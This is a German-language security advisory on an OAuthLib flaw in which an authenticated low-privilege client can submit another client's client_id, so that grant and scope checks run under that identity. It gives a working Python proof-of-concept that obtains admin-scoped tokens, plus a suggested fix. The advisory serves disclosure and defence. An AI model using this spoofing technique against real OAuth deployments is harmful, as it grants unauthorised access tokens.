Hoch

OAuthLib: Token-Grants können nach Authentifizierung eines anderen Clients eine vom Angreifer übergebene client_id zur Autorisierung nutzen

  • Veröffentlicht: 30.10.2026
  • Aktualisiert: 09.11.2026 10:00

Zusammenfassung

Die Token-Grant-Handler von OAuthlib können einen Client authentifizieren, während der Grant-Typ und die angeforderten Scopes unter Verwendung einer anderen, vom Angreifer übermittelten client_id aus dem Request-Body autorisiert werden.

In betroffenen Token-Grant-Abläufen setzt authenticate_client(request) request.client auf das authentifizierte Client-Objekt, OAuthlib verlangt jedoch nicht, dass request.client_id mit request.client.client_id übereinstimmt. Falls der Request-Body bereits client_id=... enthält, behält OAuthlib diesen Wert bei und übergibt ihn an validate_grant_type() und validate_scopes().

Infolgedessen kann sich ein authentifizierter Confidential Client mit niedrigen Rechten unter seiner eigenen Identität authentifizieren, im Token-Request-Body die client_id eines anderen Clients übermitteln und bewirken, dass die Validierung von Grant und Scopes unter der Identität dieses anderen Clients ausgeführt wird.

Betroffene Schnittstelle

Die betroffene öffentliche Oberfläche ist die OAuth2-Token-Endpunktverarbeitung für:

  • client_credentials
  • password / Resource Owner Password Credentials

Das Problem betrifft OAuthlib-Provider-Bereitstellungen, bei denen:

  • der Angreifer über Zugangsdaten für einen gültigen Confidential Client mit niedrigeren Rechten verfügt;
  • ein anderer Client umfangreichere Grants oder Scopes besitzt;
  • der Anwendungs-Validator das von OAuthlib in validate_grant_type() oder validate_scopes() übergebene Argument client_id verwendet, wie es die RequestValidator-API vorsieht.

Bereitstellungen, deren Validatoren das Argument client_id ignorieren und ausschließlich anhand von request.client autorisieren, sind möglicherweise nicht betroffen.

Details

Request parst Query- und Body-Parameter in Request-Attribute, einschließlich client_id:

Der Vertrag von RequestValidator.authenticate_client() erfordert, dass der Integrator den Client authentifiziert und request.client setzt:

Für den client_credentials-Grant authentifiziert OAuthlib den Client, überprüft, ob request.client eine client_id besitzt, und führt dann die Grant- und Scope-Validierung durch, bevor request.client_id anhand von request.client.client_id normalisiert wird:

Die problematische Reihenfolge ist:

python
if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)

Da OAuthlib request.client_id nur ausfüllt, wenn es fehlt, bleibt ein vom Angreifer im Body übergebener Wert wie client_id=high selbst dann erhalten, wenn request.client.client_id == "low".

Der gemeinsame Grant-Helper autorisiert anschließend mittels request.client_id, während das authentifizierte Client-Objekt separat übergeben wird:

Dieselbe Identitätstrennung existiert im Ablauf "Resource Owner Password Credentials". Nach der Client-Authentifizierung und Benutzerüberprüfung validiert OAuthlib den Grant und die Scopes, bevor ein fehlendes request.client_id anhand von request.client.client_id ersetzt wird:

Dies führt zu einem inkonsistenten Identitätsstatus:

request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter

OAuthlib ruft daraufhin die Autorisierungs-Hooks der Anwendung mit beiden Werten auf, verwendet jedoch das vom Angreifer kontrollierte request.client_id als primäres client_id-Argument.

Auswirkungen

Ein authentifizierter Confidential Client mit geringeren Rechten kann Token erhalten, die unter den Grant- und Scope-Richtlinien eines anderen Clients autorisiert wurden, sofern der Validator der Anwendung der RequestValidator-API folgt und anhand des client_id-Arguments autorisiert.

Konkrete Auswirkungen können sein:

  • Ausstellung von Zugriffstoken mit Scopes, die dem authentifizierten Client nicht zugewiesen sind;
  • Nutzung eines Grant-Typs durch einen Client mit niedrigen Rechten, der für einen höher berechtigten Client reserviert ist;
  • Speicherung von Token unter einer gefälschten client_id, während das authentifizierte Client-Objekt abweicht.

Es handelt sich um eine Umgehung der Token-Autorisierung, nicht um einen unauthentifizierten Angriff. Der Angreifer benötigt gültige Zugangsdaten für einen Client.

PoC

Erstellen Sie die folgenden Dateien in einem leeren Verzeichnis.

requirements.txt:

oauthlib==3.3.1

repro.py:

python
import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)


class Client:
    def __init__(self, client_id):
        self.client_id = client_id


CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}


class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })


validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)


def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}


def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)


def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")


def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")


assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))

Ausführen:

bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Erwartetes Ergebnis:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

Die Erfolgsbedingung ist, dass beide Token-Antworten erfolgreich generiert werden, während der gespeicherte Token-Status Folgendes zeigt:

js
{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

Dies belegt, dass der authentifizierte Client low ist, während die Grant- und Scope-Autorisierung die vom Angreifer übergebene client_id=high verwendet hat.

Empfohlene Behebung

Nach erfolgreicher Client-Authentifizierung sollte OAuthlib eine Token-Anforderung ablehnen, wenn eine explizite client_id in der Anforderung vorhanden ist und nicht mit request.client.client_id übereinstimmt.

Für Abläufe mit authentifizierten Confidential Clients ist eine sicherere Invariante:

python
if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

Dies sollte geschehen, bevor validate_grant_type() und validate_scopes() aufgerufen werden.

Melder:

Was zu tun ist

Aktualisieren Sie OAuthLib auf Version 4.0.0 oder höher. Bei benutzerdefinierten Implementierungen sollte sichergestellt werden, dass Token-Anfragen abgelehnt werden, wenn eine explizit übergebene Client-ID nicht mit der ID des authentifizierten Clients übereinstimmt, bevor Validierungs-Hooks ausgeführt werden.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) oauthlib < 4.0.0 4.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
Schwäche (CWE)
CWE-863
Plattform
Python (PyPI)
Paket
oauthlib
Veröffentlicht
30.10.2026
Aktualisiert
09.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0

Schwachstellenhistorie: oauthlib

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
5
Erste → letzte
09.2022 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 3

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 4
  1. OAuthLib: Token-Grants können nach Authentifizierung eines anderen Clients eine vom Angreifer übergebene client_id zur Autorisierung nutzen dieser Eintrag
    Hoch CVE-2026-118669 < 4.0.0 4.0.0
  2. Mittel · 6.8 CVE-2026-49265 >= 3.0.0, < 4.0.0 4.0.0
  3. Mittel · 5.7 CVE-2022-36087 >= 3.1.1, < 3.2.2 3.2.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.